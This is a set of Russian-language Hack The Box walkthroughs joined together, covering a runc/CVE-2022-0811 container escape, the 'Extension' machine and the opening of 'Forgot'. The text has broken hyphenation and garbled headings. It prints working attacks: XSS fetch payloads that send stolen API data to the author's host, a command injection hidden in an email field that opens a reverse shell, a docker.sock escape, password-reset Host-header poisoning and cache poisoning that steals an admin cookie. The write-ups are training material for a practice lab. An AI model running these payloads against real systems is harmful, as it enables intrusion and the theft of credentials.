Ре зуль тат выпол нения экс пло ита

И получа ем новую сес сию в .pwncat-cs

Но вая сес сия в лис тенере

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/kost/dvcs-ripper
https://www.hackerone.com/
https://www.exploit-db.com/
https://github.com/garySec/CVE-2022-24637
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать
информа цию. Я, как всег да, исполь зую для это го скрип ты PEASS.

Справка: скрипты PEASS для Linux
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux и выберем наибо лее инте рес ную информа- 
цию.

Во-пер вых, мы можем прос матри вать фай лы в домаш нем катало ге поль- 
зовате ля .steven

Фай лы в катало гах дру гих поль зовате лей

Во-вто рых, поль зовате лю  дос тупно выпол нение коман ды 
от име ни рута, так как у исполня емо го фай ла выс тавлен s-бит.

ethan pinns

Фай лы с активным SUID

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

В-треть их, на хос те дос тупна прог рамма .runc

Про вер ка фай ла runc

Да вай ска чаем фай лы ,  и 
из домаш него катало га поль зовате ля. Для это го в  вый дем в основное
меню сочета нием кла виш Ctrl-D, а затем исполь зуем коман ду 
для ска чива ния фалов на локаль ный хост. Что бы обратно получить коман дную
обо лоч ку уда лен ного хос та, исполь зуем коман ду .

passwordGenerator screenshot.png notes.pdf
pwncat

download

back
PDF ока зал ся защищен паролем, а скрин шот, видимо, показы вает окно

генера тора паролей, который у нас тоже есть.

Ска чан ный скрин шот

От метим для себя парамет ры, исполь зован ные при сос тавле нии пароля: дли- 
на — 32 сим вола, а алфа вит вклю чает все сим волы. Я закинул генера тор
в дизас сем блер и сре ди строк нашел мно го типич ных для Python пат тернов.

Стро ки из фай ла passwordGenerator

Та ким обра зом, это скрипт на Python, ском пилиро ван ный в исполня емый
файл .exe. Есть воз можность дос тать из .exe код на Python в чис том виде,
для чего мож но исполь зовать .pyinstxtractor

Де ком пилиро вание py2exe-фай ла

Мы получим файл .pyc, который нуж но деком пилиро вать в .py с помощью
. Затем в извле чен ном скрип те находим фун кцию для генери рова- 

ния пароля — .
uncompile

genPassword

Ис ходный код фун кции genPassword

Ис ходный код вспо мога тель ных фун кций

Вот толь ко генера тор написан с ошиб кой, так как фун кция ,
которая воз вра щает сид для даль нейше го псев доран дома, выда ет мил- 
лисекун дную часть вре мени — чис ло от 0 до 999. А это зна чит, что воз можно
сге нери ровать все го 1000 раз ных паролей. Я наб росал скрипт, который сос- 
тавит спи сок всех паролей:

QTime::msec()

   from PySide2.QtCore import *

  passwords = []
  length = 32
  charset =

'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%
^&
*()_-+={}[]|
:;<>,.?'

   for rsec in (0,1000):
   qsrand(q)
     password = ''
      for i in range(length):

           idx = qrand() % len(charset)
         nchar = charset[idx]

         password += str(nchar)
   passwords.append(password)

    with open('passwords.txt', 'wt') as f:
      for pwd in passwords:

         f.write(pwd + '\n')

Есть одно но: сге нери ровать вер ный сло варь получит ся толь ко с исполь- 
зовани ем извле чен ных из исполня емо го фай ла биб лиотек Qt. Поэто му ско- 
пиру ем всю пап ку с извле чен ными фай лами на вир туал ку с Windows и запус- 
тим скрипт отту да. Будут под клю чены нуж ные биб лиоте ки Qt. Сде лав сло варь,
проб рутим пароль PDF-докумен та с помощью .pdfcrack

pdfcrack -f notes.pdf -w ./password.txt 

Ре зуль тат перебо ра паролей

В самом докумен те находим пароль, с которым мож но авто ризо вать ся
по SSH от име ни поль зовате ля ethan.

Со дер жимое PDF-докумен та

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
А теперь обра тим ся к  — инс тру мен ту для запус ка кон тей неров, соз- 
данно го в рам ках про екта Open Containers. Ког да я уви дел пра ва на исполня- 
емый файл pinns и при сутс твие runc, сра зу вспом нил о недав ней уяз вимос ти
CVE-2022-0811 в Kubernetes, которая поможет под нять при виле гии
на основном хос те до root. Если ты о ней не слы шал, то можешь почитать,
к при меру, в .

runC

статье CrowdStrike

По иск тех ники в Google

Ра бота ет уяз вимость сле дующим обра зом. Kubernetes задей ству ет сре ду
выпол нения кон тей нера, такую как CRI-O или Docker, для безопас ного сов- 
мес тно го исполь зования ядра и ресур сов каж дой ноды с раз ными работа- 
ющи ми кон тей нер ными при ложе ниями. Ядро Linux при нима ет парамет ры
вре мени выпол нения, которые управля ют его поведе нием. Kubernetes
и управля емые им сре ды выпол нения кон тей неров поз воля ют модулям
обновлять эти «безопас ные» нас трой ки ядра, бло кируя дос туп к дру гим.

Спе циалис ты из CrowdStrike наш ли уяз вимость, которая поз воля ет обхо- 
дить меры безопас ности и уста нав ливать про изволь ные парамет ры ядра.
Таким обра зом, любой, у кого есть пра ва на раз верты вание модуля в клас- 
тере Kubernetes, исполь зующий CRI-O, может манипу лиро вать парамет ром

 для выхода из кон тей нера и выпол нения про изволь- 
ного кода от име ни поль зовате ля root на любом узле в клас тере.
kernel.core_pattern

Runc поз воля ет запус кать кон тей неры без при виле гий root. Но про цес сы,
запус кающие такой кон тей нер, все рав но будут при над лежать поль зовате лю
root! Получа ется, что если какой-то про цесс смо жет вый ти из кон тей нера, то
он будет работать на основном хос те с пра вами root.

Пе рей дем к экс плу ата ции и пер вым делом соз дадим кон фигура цию
для запус ка кон тей нера.

runc spec --rootless

А теперь откро ем соз данный файл  и в раз дел  добавим
кон фигура цию:

config.json mounts

{
   "destination": "/",
   "type": "bind",
   "source": "/",
   "options": [
       "rbind",
       "rw",
       "rprivate"
   ]
}

Из менение в фай ле cong.json

Те перь в текущем катало ге соз дадим каталог  и запус тим кон тей нер.rootfs

mkdir rootfs 
runc --root /tmp/ralf run alpine 

По луче ние сес сии в кон тей нере

Мы получи ли сес сию в кон тей нере, но нам нуж на вто рая сес сия на основном
хос те, поэто му во вто ром тер минале авто ризу емся на хос те через SSH.
На основном хос те сде лаем скрипт на Bash, который будет наз начать S-бит
фай лу коман дной обо лоч ки ./bin/bash

   echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/ralf/payload.sh 
chmod +x /tmp/ralf/payload.sh 

В пер вом сеан се (том, что в кон тей нере) про веря ем наличие соз данно го
скрип та и прав на выпол нение.

Про вер ка соз данно го на основном хос те скрип та в кон тей нере

Скрипт соз дан, теперь уста новим параметр ядра ,
который ука зыва ет, что дол жно сде лать ядро при его дам пе. Так мы ска жем
ядру выпол нить нашу наг рузку, которая будет запуще на с пра вами root. Сде- 
лать это мож но сле дующей коман дой, которую я нашел в  в бло ге
Tencent.

kernel.core_pattern

статье

 

    

pinns -d /var/run/ -f 37f594b6-4ffb-43a2-a0d5-e7b23d642115 -s
'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/ralf/payload.sh 
#' --ipc --net --uts --cgroup

И сра зу про веря ем, уста новил ся ли параметр .kernel.core_pattern

cat /proc/sys/kernel/core_pattern 

Про вер ка парамет ра kernel.core_pattern

Те перь акти виру ем и выпол ним дамп ядра.

 ulimit -c unlimited 
 tail -f /dev/null & 

ps 

bash -i
  26 kill -SIGSEGV

ps 

Дамп ядра

На ша коман да была выпол нена ядром за пре дела ми прос транс тва имен кон- 
тей нера с при виле гиями root, о чем сви детель ству ет S-бит у фай ла коман- 
дной обо лоч ки.

Пра ва фай ла /bin/bash

За пус каем новый Bash и получа ем пол ные при виле гии на хос те.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/extremecoders-re/pyinstxtractor/releases/tag/2022.10
https://runc.io/
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
https://cloud.tencent.com/developer/article/1981066
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ВЗЛОМ

В этом рай тапе я покажу, как через уяз- 
вимость в рас ширении бра узе ра получить
дос туп к фай лам дру гого поль зовате ля.
Най ден ные кри тичес ки важ ные дан ные
помогут нам зак репить ся на хос те, а зах- 
ватим кон троль над ним мы при помощи
уяз вимос ти в веб-сер висе. А потом нам
пред сто ит побег из Docker!

Зах ватывать будем учеб ную машину Extension с пло щад ки . Уро- 
вень — «слож ный».

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.171    extension.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли два откры тых пор та: 22 — служ ба OpenSSH 7.6p1 и 80 — веб-сер- 
вер Nginx 1.14.0. Начина ем, конеч но же, с сай та.

Глав ная стра ница сай та http://extension.htb

На сай те видим ука зан ный домен, который добав ляем в файл ./etc/hosts

10.10.11.171 extension.htb snippet.htb 

Так как он реаль ный, мы можем прос каниро вать под домены. Я исполь зую
ска нер .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — выпол нять редирек ты;• -r

 — филь тро вать стра ницы по раз меру;• -fs

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Мес то перебо ра помеча ется сло вом .FUZZ

Ко ман да получа ется сле дующая:

ffuf    
 256    30 

-u 'http://snippet.htb/' -r -w subdomains-top1million-110000.
txt -t -H 'Host: FUZZ.snippet.htb' --fl

Ре зуль тат ска ниро вания под доменов с помощью ffuf

Так находим еще два под домена, которые тоже добав ляем в файл 
. Там най дем сер висы Gitea и RoundCube.

/etc/
hosts

10.10.11.171 extension.htb snippet.htb dev.snippet.htb mail.snippet.
htb 

Глав ная стра ница http://dev.snippet.htb

Глав ная стра ница http://mail.snippet.htb

В Gitea можем без авто риза ции пос мотреть сущес тву ющих поль зовате лей.

Поль зовате ли Gitea

Ска ниро вание катало гов на поль зователь ском сай те тоже ничего не дало.

ffuf    
 256 

-u 'http://snippet.htb/FUZZ' -r -w directory_2.3_medium_
lowercase.txt -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

ÒÎ×ÊÀ ÂÕÎÄÀ
Тог да пос мотрим на поль зователь ский сайт через . Нас инте ресу ет

.
Burp

Burp History

Вклад ка Burp History

В коде стра ницы видим исполь зование какого-то API. Изу чив его под робнее,
находим воз можность не толь ко получать раз ную информа цию, но и дам пить
ее.

API для дам па информа ции

Пер вым делом я решил пос мотреть на поль зовате лей сай та, но это получит ся
толь ко пос ле авто риза ции.

Зап рос стра ницы /users

А вот при зап росе дам па нам отве чают, что мы не ука зали нуж ный параметр.
То есть никакой авто риза ции не тре бует ся.

Зап рос стра ницы /management/dump

Так как нам инте рес на информа ция о поль зовате лях, в качес тве зна чения
будем исполь зовать . Но имя парамет ра нуж но будет переб рать. Раз
ответ при шел в фор мате JSON, переда вать параметр мы будем так же.
Для перебо ра я исполь зовал .

users

Burp Intruder

Burp Intruder — вклад ка Positions

Ре зуль тат перебо ра име ни парамет ра

И находим наз вание нуж ного парамет ра — . Ответ очень боль шой,
поэто му сох раня ем в файл и выводим в .

download
jq

По лучен ные дан ные

Нам дос тупны хеши паролей поль зовате лей, поэто му для перебо ра поп робу- 
ем узнать алго ритм с помощью .hashid

Рас позна вание алго рит ма хеширо вания

В качес тве алго рит ма шиф рования, ско рее все го, исполь зует ся SHA-256.
Давай выберем из спис ка все пары логинов и паролей.

  |     4 cat users.dump| jq | grep 'email"\|password' cut -d '"' -f > 
users.txt 

За тем мож но все пос ледова тель нос ти  заменить дво ето чием, тог да
мы получим стро ки типа . Отправ ляем спи сок прог рамме John
the Ripper и ука зыва ем фор мат хеша. Спус тя нес коль ко секунд получим
пароль.

.htb\n
логин:пароль

john  -form=dynamic='sha256($p)' --wordlist=~/tmp/wordlists/Passwords/
rockyou.txt creds.txt 

Ре зуль тат перебо ра хешей

С получен ными учет ными дан ными мы можем авто ризо вать ся на сай те.

Глав ная стра ница авто ризо ван ного поль зовате ля

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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ÒÎ×ÊÀ ÎÏÎÐÛ
Ïîëüçîâàòåëüñêèé ñåðâèñ
Мы можем перей ти к снип петам и соз дать свой. Так у нас будет воз можность
менять и уда лять его.

Дос тупные снип петы

При изме нении снип пета переда ются его парамет ры и тип: пуб личный
или нет. Тог да я решил переб рать иден тифика тор снип пета, что бы узнать,
как работа ет кон троль дос тупа к изме нению парамет ров. И у нас получи лось
сде лать пуб личным чей-то снип пет.

Зап рос на пуб ликацию снип пета

Дос тупные снип петы

Прос мотрим вытащен ный нами снип пет и най дем там HTTP-заголо вок
базовой аутен тифика ции. Декоди руем стро ку Base64 и получа ем учет ные
дан ные для поль зовате ля .jean

Со дер жимое снип пета

Учет ные дан ные поль зовате ля

С получен ными учет ными дан ными можем авто ризо вать ся в Gitea. Там нам
дос тупен один про ект.

Ре пози торий extension

Gitea
Сам про ект — это пла гин бра узе ра для быс тро го опо веще ния об ошиб ках.
В нас трой ках про екта находим соав тора, это нам при годит ся.

Со авто ры про екта

Прос матри вая исто рию изме нений, обра щаем вни мание, что при пуб ликации
сооб щения его текст дол жен филь тро вать ся.

Ста рый филь тр сооб щений

На ходим подоб ный фраг мент в коде текуще го парамет ра.

Но вый филь тр сооб щений

Из сооб щения уда ляет ся любая пос ледова тель ность сим волов, если она зак- 
лючена в тре уголь ные скоб ки, то есть похожа на HTML-тег. Так же если при- 
сутс тву ет пос ледова тель ность сим волов, при веден ных в перемен ной .
Но в самом регуляр ном выраже нии ошиб ка, так уда лит ся толь ко пер вое вхож- 
дение пос ледова тель нос ти в тегах. Про верим это, для чего запус тим
веб-сер вер и отпра вим сле дующую стро ку:

filter

qwe  <qwe><img src="http://10.10.14.7/test">

От прав ка сооб щения

Опуб ликован ное сооб щение

Ло ги веб-сер вера

В логах веб-сер вера уви дим под клю чение, зна чит, мож но про экс плу ати- 
ровать хра нимую XSS.

Õðàíèìàÿ XSS
Я решил поп робовать получить про екты поль зовате ля . Спи сок про- 
ектов мож но зап росить по API:

charlie

/api/v1/users/[user]/repos') 

Наг рузку пос тро им сле дующим обра зом: что бы избе жать филь тра ции, будем
исполь зовать Fetch API, а пос ле обра щения к API ответ закоди руем
в Base64 и отпра вим на свой веб-сер вер:

    
fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(
response => response.text()).then(data => fetch('http://10.10.14.7/'+
btoa(data)))

Ло ги веб-сер вера

Де коди руем Base64 и получа ем содер жимое стра ницы.

Ин форма ция о репози тори ях поль зовате ля

Ви дим про ект , но ска чать фай лы нап рямую не выш ло. Тут мне приш- 
лось обра тить ся за помощью к комь юни ти, и мне посове това ли добавить сво- 
его поль зовате ля в соав торы это го про екта.

backups

 
  

   

  

var u='http://dev.snippet.htb/charlie/backups/settings/collaboration'
;fetch(u).then(r => document.querySelector('meta[name=_csrf]').
content).then(t => fetch(u,{method:'POST',headers: {'Content-Type':'
application/x-www-form-urlencoded;'},body:'collaborator=jean&_csrf='+
t}).then(d => fetch('http://10.10.14.7/yes')))

Ре пози тории поль зовате ля jean

Нам стал дос тупен про ект , он содер жит все го один архив.backups

Фай лы в репози тории backups

А в архи ве находим при ват ный SSH-ключ поль зовате ля.

Со дер жимое архи ва

Да ем фай лу соот ветс тву ющие пра ва ( ) и под клю чаем ся
к уда лен ному хос ту.

chmod 0600 id_rsa

Сес сия поль зовате ля charlie

Продолжение статьи →
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ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü jean
В сис теме есть еще один поль зователь — .jean

Со дер жимое катало га /home

Мы уже получа ли пароль это го поль зовате ля для одно го сер виса, поэто му
про буем исполь зовать его и для сис темы. Он под ходит!

Флаг поль зовате ля

Docker inside
Те перь нам необ ходимо соб рать информа цию, что бы понять, как прод вигать- 
ся даль ше. Я для это го исполь зую скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поэто му отбе рем толь ко
зна чимую.

Во-пер вых, при сутс тву ет мно го сетевых интерфей сов, типич ных
для Docker.

Се тевые интерфей сы

Во-вто рых, прос лушива ется мно го сетевых веб-пор тов, а так же порт MySQL.

Прос лушива емые пор ты

Боль ше ничего инте рес ного най ти не уда лось, поэто му пос мотрим, какие
про цес сы запус кают ся на хос те. Для это го я исполь зую ути литу . Заг- 
рузим ее на хост тем же спо собом, что и LinPEAS, а потом выпол ним.
В выводе находим коман ду для под клю чения к СУБД и изме нения пароля
поль зовате ля сай та. В коман де есть учет ные дан ные для под клю чения
к СУБД.

pspy64

Вы вод ути литы pspy64

Под клю чим ся к базе дан ных, для чего нуж но про кинуть тра фик с пор- 
та 3306 на свой хост с помощью SSH.

ssh -i ./id_rsa -L 3306:localhost:3306 charlie@10.10.11.171 -N

Та ким обра зом весь тра фик, который мы пош лем на локаль ный порт 3306,
будет тун нелиро ван на порт 3306 ука зан ного хос та (в дан ном слу- 
чае 127.0.0.1) через SSH-хост. Теперь под клю чим ся к базе и получим таб- 
лицы:

 mysql -h 127.0.0.1 -u root -ptoor --database webapp 
show tables;

Таб лицы в базе дан ных webapp

Нам инте рес на таб лица , получим ее записи.users

   select * from users;

За писи в таб лице users

Ви дим, что у каж дого поль зовате ля есть свой . Управля ющая
запись все го одна. Но мы можем наз начить это пра во и поль зовате лю, учет ка
которо го под нашим кон тро лем.

user_type

     update users set user_type='Manager' where email='letha@snippet.htb';

Из менение типа учет ной записи letha

Об новим стра ницу сай та и уви дим кноп ку про вер ки.

Поль зовате ли сай та

При про вер ке поль зовате ля нам покажут сооб щение «Mail is valid!». Получив
его, я решил най ти сам про ект на хос те и пос мотреть исходный код про вер ки.
Про ект рас положен в домаш нем катало ге поль зовате ля.

Со дер жимое домаш него катало га поль зовате ля

Най дем учас ток, где упо мина ется отоб ражен ное нам сооб щение.

  grep -iR 'Mail is valid!' ./ 2>/dev/null 

По иск подс тро ки в фай лах про екта

Те перь прос мотрим все содер жимое фай ла .AdminController.php

Со дер жимое фай ла AdminController.php

Из поч тового адре са поль зовате ля извле кает ся домен, пос ле чего он пин- 
гует ся через вызов . Здесь мы можем выпол нить инъ екцию
коман ды ОС. Для это го добавим запись в таб лицу , где в поле поч- 
тового адре са запишем кон вей ер с реверс-шел лом.

shell_exec
users

  
 

insert into users(name,email,email_verified_at,password,
remember_token,created_at,updated_at,user_type) values('ralf',
'ralf@ralf|bash -c "/bin/sh -i >& /dev/tcp/10.10.14.84/4321 0>&1"',
'2022-01-02 20:15
:30',
'ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f',
'UvLHOFpwyD5LYcAeOEEwYdxVwjBWszbWIKO3qRAzc5x8uJ3ZJ4VA2OiZqKgU',
'2022-01-02 20:15:00','2022-01-02 20:15:00','Manager');

Об новлен ный спи сок поль зовате лей

Те перь запус тим лис тенер и про верим соз данно го поль зовате ля:

pwncat_cs -lp 4321 

В  уви дим новую сес сию.pwncat

Сес сия поль зовате ля application

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Мы попали в Docker, а для раз ведки в нем есть прек расный скрипт .
Скрипт по воз можнос ти про верит нас трой ки кон тей нера и окру жения
и покажет пути для побега. Заг ружа ем его в кон тей нер, даем пра во на выпол- 
нение и запус каем. Deepce показал, что есть мон тирован ный .

deepce

docker.sock

Нас трой ки мон тирова ния

Оп ределим путь к , прос то поис кав его в фай ловой сис теме.docker.sock

find / -name docker.sock 2>/dev/null 

По иск docker.sock

Ис поль зование  дает нам путь к побегу из кон тей нера. Для это го
пер вым делом нуж но узнать, какие есть обра зы.

docker.sock

curl  -s --unix-socket /app/docker.sock http://localhost/images/json 

Су щес тву ющие обра зы

Те перь мы можем соз дать кон тей нер для обра за ,
при этом ука зать коман ду, которая выпол нится при его запус ке. В нашем слу- 
чае это будет реверс-шелл.

laravel-app_main:latest

 cmd="["/bin/sh","-c","chroot /tmp sh -c \\"bash -c 'bash -i &>/dev/
tcp/10.10.14.84/5432 0<&1'\\""]"

curl   Image
cmd Binds   

-s -X POST --unix-socket /app/docker.sock -d "{" ":"laravel-
app_main"," ":$cmd," ":["/:/tmp:rw"]}" -H 'Content-Type: 
application/json' http://localhost/containers/create?name=ralf_root 

Соз дание кон тей нера

Те перь запус каем соз данный кон тей нер и получа ем соеди нение на лис тенер
.netcat

curl  -s -X POST --unix-socket /app/docker.sock "http://localhost/
containers/
87628e84d50408a88d9b865ba0053a85dfa21635dfc5e114b83b920d9201061d/
start"

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/DominicBreuker/pspy
https://github.com/stealthcopter/deepce
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ВЗЛОМ

В этом рай тапе я покажу тех нику отравле- 
ния веб-кеша, которая поз воля ет получить
куки адми нис тра тора сай та. Дос туп
к Varnish Cache мы получим через сброс
пароля, а для повыше ния при виле гий про- 
экс плу ати руем уяз вимость в модуле
TensorFlow для Python.

На ша цель — зах ват машины Forgot с пло щад ки . Уро вень слож- 
ности — сред ний.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.188    forgot.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Nmap нашел нам два откры тых пор та: 22 — служ ба OpenSSH 8.2p1 и 80 —
веб-сер вер Werkzeug 2.1.2, запущен ный из Python 3. Перехо дим на сайт, где
нас сра зу встре чает фор ма авто риза ции.

Фор ма авто риза ции

С помощью  пос тро им кар ту сай та, для чего в кон текс тном меню
 выбира ем Engagement tools → Discover content.

Burp Suite

Burp History

Кар та сай та

Ни чего нового и полез ного для прод вижения не находим. Прос мотрим ком- 
мента рии в исходном коде стра ниц, может быть, получит ся узнать что-то
инте рес ное. Что бы удоб но отоб разить все ком мента рии с сай та, в Burp
перехо дим к кон текс тно му меню и выбира ем Engagement tools → Find
comments.

Ком мента рии с сай та

В ито ге находим поль зовате ля. Поп робу ем зап росить сме ну пароля для него.

Зап рос на сме ну пароля

Так как была отправ лена ссыл ка для сбро са пароля, поль зователь реален.

ÒÎ×ÊÀ ÂÕÎÄÀ
По HTTP-заголов кам отве та опре деля ем, что на сер вере работа ет Varnish.
Это уско ритель HTTP, раз работан ный для динами чес ких веб-сай тов с боль- 
шим количес твом кон тента и API. Про буем в HTTP-заголов ке  зап роса
ука зать свой адрес, акти виру ем лис тенер и ловим вхо дящий зап рос.

Host

Зап рос на сброс пароля

Ло ги лис тенера

Во вхо дящем зап росе при сутс тву ет токен для сбро са пароля. Идем на ука- 
зан ную стра ницу, где нам сра зу пред лага ют уста новить новый пароль.

Фор ма сме ны пароля

Ме няем пароль, авто ризу емся и осматри ваем ся на сай те.

До маш няя стра ница поль зовате ля

Нам дос тупны стра ницы Tickets и Escalate. На пер вой мы видим проб лемы
и их ста тус, на вто рой есть фор ма свя зи с адми нис тра тором. Отме тим
для себя проб лему с учет ными дан ными для дос тупа по SSH.

Стра ница Tickets

Стра ница Escalate

Есть еще стра ница, но ссыл ка на нее неак тивна. Хоть ее и мож но най ти
в исходном коде стра ницы, дос туп все рав но зап рещен. Нуж ны пра ва адми- 
нис тра тора.

По иск ссыл ки на адми нис тра тив ную стра ницу

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
У нас есть связь с адми нис тра тором через фор му заявок. Я потес тировал ее
на наличие уяз вимос тей XSS, но ничего не обна ружил. А вот бла года ря кар те
сай та мож но най ти стра ницы, а вер нее каталог, где мож но отра вить кеш. Так,
на всех стра ницах, кро ме тех, что в катало ге , счет чик все вре мя
обну ляет ся. А вот в катало ге  он рас тет до зна чения 240 (четыре
минуты), пос ле чего уже обну ляет ся.

/static
/static

От вет сер вера на стра ницу login

От вет сер вера на стра ницу в катало ге static

Ке широ вание зак люча ется в сох ранении копии ресур са, что бы вер нуть ее
в ответ на даль нейшие зап росы. Зап рос на ресурс, уже име ющий ся
в веб-кеше, перех ватыва ется, и вмес то того, что бы обра щать ся к сер веру,
заг ружа ется копия из кеша. Таким обра зом сни жает ся наг рузка на сер вер,
которо му не при ходит ся самому отве чать всем кли ентам, и повыша ется про- 
изво дитель ность.

WWW

Под робнее о механиз мах кеширо вания сай тов ты
можешь про читать, нап ример, в статье
«

» на «Хаб рахаб ре».
Веб-кеширо вание на при мере покуп ки молока

в магази не

От равле ние веб-кеша — это ата ка, при которой ата кующий исполь зует
поведе ние веб-сер вера и кеша таким обра зом, что бы в кеше дру гим поль- 
зовате лям дос тавлял ся опас ный HTTP-ответ. То есть без вза имо дей ствия
с дру гими поль зовате лями уяз вимость про экс плу ати ровать не получит ся.

Пер вым делом сто ит про верить, выпол няет ся ли кеширо вание
для несущес тву ющих стра ниц.

Счет чик (заголо вок ) рас тет, зна чит, для несущес тву ющих стра ниц
в катало ге  про исхо дит кеширо вание. Теперь нам нуж но най ти ключ
кеша — какое-то зна чение в HTTP-зап росе, при изме нении которо го счет чик
кеша будет обну лять ся. В дан ном слу чае клю чом ока залось зна чение
заголов ка .

Age
/static

Host

При этом обра ти вни мание, что в пер вом зап росе кеширо ван ный ответ
содер жит наш куки!

ÏÐÎÄÂÈÆÅÍÈÅ
Со бира ем все воеди но. Мы можем отпра вить адми ну сооб щение, содер- 
жащее ссыл ку, и он на нее перей дет. При этом есть каталог, кеширу ющий
ответ сер вера, при чем ответ может вер нуть куки поль зовате ля. Поэто му
отпра вим адми нис тра тору ссыл ку на любой несущес тву ющий файл в катало ге

, спус тя вре мя обра тим ся к нему же и про верим заголо вок 
.

/static Set-
Cookie

От прав ка сооб щения адми нис тра тору

Зап рос на несущес тву ющую стра ницу

И нам вер нули куки, пред положи тель но адми на.
Встав ляем иден тифика тор сес сии в хра нили ще бра узе ра и перехо дим

к адми нис тра тив ной стра нице ./admin_tickets

За мена cookie

